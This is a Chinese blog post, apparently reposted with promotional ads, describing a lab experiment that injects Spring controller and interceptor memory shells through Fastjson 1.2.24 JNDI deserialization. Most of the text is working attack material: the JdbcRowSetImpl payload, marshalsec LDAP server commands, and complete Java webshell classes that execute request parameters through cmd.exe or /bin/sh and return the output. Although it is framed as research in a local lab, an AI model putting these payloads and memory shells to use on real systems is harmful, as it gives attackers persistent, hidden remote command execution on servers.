狂野！利用Fastjson注入Spring内存马~

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此篇文章在于记录自己对spring内存马的实验研究

环境搭建

搭建漏洞环境，利用fastjson反序列化，通过JNDI下载恶意的class文件，触发恶意类的构造函数中代码，注入controller内存马。

1）组件版本：

fastjson: 1.2.24

spring-mvc: 4.3.28.RELEASE

JDK: 8u121

2）搭建springMVC+fastjson漏洞环境

可以参考网上的入门文章进行搭建，这里我放出我自己环境的配置文件

web.xml

<servlet><servlet-name>SpringMVC</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><!--配置springmvc.xml的路径--><init-param><param-name>contextConfigLocation</param-name><param-value>classpath:springmvc.xml</param-value></init-param></servlet><servlet-mapping><servlet-name>SpringMVC</servlet-name><url-pattern>/</url-pattern></servlet-mapping>
</web-app>

springmvc.xml

<!--将AnnotationHandler自动扫描到IOC容器中--><context:component-scan base-package="test.controller"></context:component-scan><mvc:annotation-driven/><!--配置视图解析器--><bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"><!--配置前缀--><property name="prefix" value="/"></property><!--配置后缀--><property name="suffix" value=".jsp"></property></bean></beans>

HelloController

@Controller
public class HelloController {@ResponseBody@RequestMapping(value = "/hello", method = RequestMethod.POST)public Object hello(@RequestParam("code")String code) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object = JSON.parse(code);return code + "->JSON.parseObject()->" + object;}
}

pom.xml

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope>
</dependency>
<!--SpringMVC依赖-->
<dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>4.3.28.RELEASE</version>
</dependency>

动态注册controller

在springMVC中，也可以在服务器程序启动后，利用某种方式实现动态加载controller。搜索公众号互联网架构师复“2T”，送你一份惊喜礼包。

1）获取上下文

在LandGrey文章中介绍了四种方法，分别是

方式一：getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二：WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三：RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四：getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而对于获取上下文来说，推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例

2）注册controller

使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

除了使用registerMapping方法注册controller外，还有其余的方式可以参考

https://landgrey.me/blog/12/

内存马

以下是大佬的内存马，接下来进行一个改动，使之能进行回显

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws  IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 获取cmd参数并执行命令java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));}
}

修改回显

把test代码中的内容替换为以下

// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exec
try {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时，返回 404 错误response.sendError(404);}
}catch (Exception e){}

最终内存马，搜索公众号互联网架构师复“2T”，送你一份惊喜礼包。

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws  IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时，返回 404 错误response.sendError(404);}}catch (Exception e){}}
}

测试

fastjson<=1.2.24的 payload：

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1）启动本地http服务，绑定端口8888

python3 -m http.server 8888

2）利用marshalsec启动LDAP服务，绑定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

3）访问存在fastjson反序列化的页面，http://localhost:8080/hello

发送payload：

{"b":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

成功写入内存马

踩坑

在实验过程中，我发现主要有两个比较难解决的点，导致实验难以继续

1.怎么编译恶意class文件

可以看到，一个恶意类是有大量的依赖，如果直接采用javac编译会报错

-》javac InjectToController.java
InjectToController.java:16: 错误: 编码GBK的不可映射字符// 绗竴涓瀯閫犲嚱鏁?^
InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^
InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^

这时候可以利用idea自带的编译特性，先运行项目，然后在其项目的target目录中寻找编译后的class文件即可，搜索公众号互联网架构师复“2T”，送你一份惊喜礼包。

2.可以弹出计算器，却无法注入内存马

直接进行debug后发现，在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常

原因在于springmvc.xml文件中，没有开启<mvc:annotation-driven/>选项。

<mvc:annotation-driven/> 是为 MVC 提供额外的支持，参考 Spring 的官方文档，<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping（实现为 DefaultAnnotationHandlerMapping）和 HandlerAdapter（实现为 AnnotationMethodHandlerAdapter）两个类型的 Bean，这两个 Bean 为 @Controllers（所有控制器）提供转发请求的功能。

而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。

后记

Interceptor内存马

其实不光是可以注入controller型的内存马，还可以注入Interceptor内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 获取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从context中获取AbstractHandlerMapping的实例对象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射获取adaptedInterceptors属性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);        // 避免重复添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已经添加过TestInterceptor实例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }    private TestInterceptor(String aaa){}    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        // 不干扰正常业务逻辑        if (code != null) {            java.lang.Runtime.getRuntime().exec(code);            return true;        }        else {            return true;        }}}

注册效果：

参考

https://landgrey.me/blog/12/

https://www.cnblogs.com/bitterz/p/14820898.html

https://www.cnblogs.com/bitterz/p/14859766.html

感谢您的阅读，也欢迎您发表关于这篇文章的任何建议，关注我，技术不迷茫！小编到你上高速。

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